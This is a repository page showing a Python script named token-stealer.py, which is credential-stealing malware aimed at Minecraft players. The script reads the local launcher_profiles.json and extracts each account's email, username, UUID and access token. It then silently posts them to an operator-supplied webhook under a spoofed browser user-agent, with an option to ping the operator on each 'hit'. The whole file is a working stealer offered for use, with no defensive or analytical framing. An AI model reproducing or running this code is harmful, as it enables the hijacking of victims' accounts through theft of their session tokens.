-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathtoken-stealer.py
49 lines (39 loc) · 1.56 KB
/
token-stealer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import json
import os
from urllib.request import Request, urlopen
# your webhook URL
WEBHOOK_URL = "WEBHOOK HERE"
# mentions you when you get a hit
PING_ME = False
def uuid_dashed(uuid):
return f"{uuid[0:8]}-{uuid[8:12]}-{uuid[12:16]}-{uuid[16:21]}-{uuid[21:32]}"
def main():
auth_db = json.loads(open(os.getenv("APPDATA") + "\\.minecraft\\launcher_profiles.json").read())["authenticationDatabase"]
embeds = []
for x in auth_db:
try:
email = auth_db[x].get("username")
uuid, display_name_object = list(auth_db[x]["profiles"].items())[0]
embed = {
"fields": [
{"name": "Email", "value": email if email and "@" in email else "N/A", "inline": False},
{"name": "Username", "value": display_name_object["displayName"].replace("_", "\\_"), "inline": True},
{"name": "UUID", "value": uuid_dashed(uuid), "inline": True},
{"name": "Token", "value": auth_db[x]["accessToken"], "inline": True}
]
}
embeds.append(embed)
except:
pass
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11"
}
payload = json.dumps({"embeds": embeds, "content": "@everyone" if PING_ME else ""})
try:
req = Request(WEBHOOK_URL, data=payload.encode(), headers=headers)
urlopen(req)
except:
pass
if __name__ == "__main__":
main()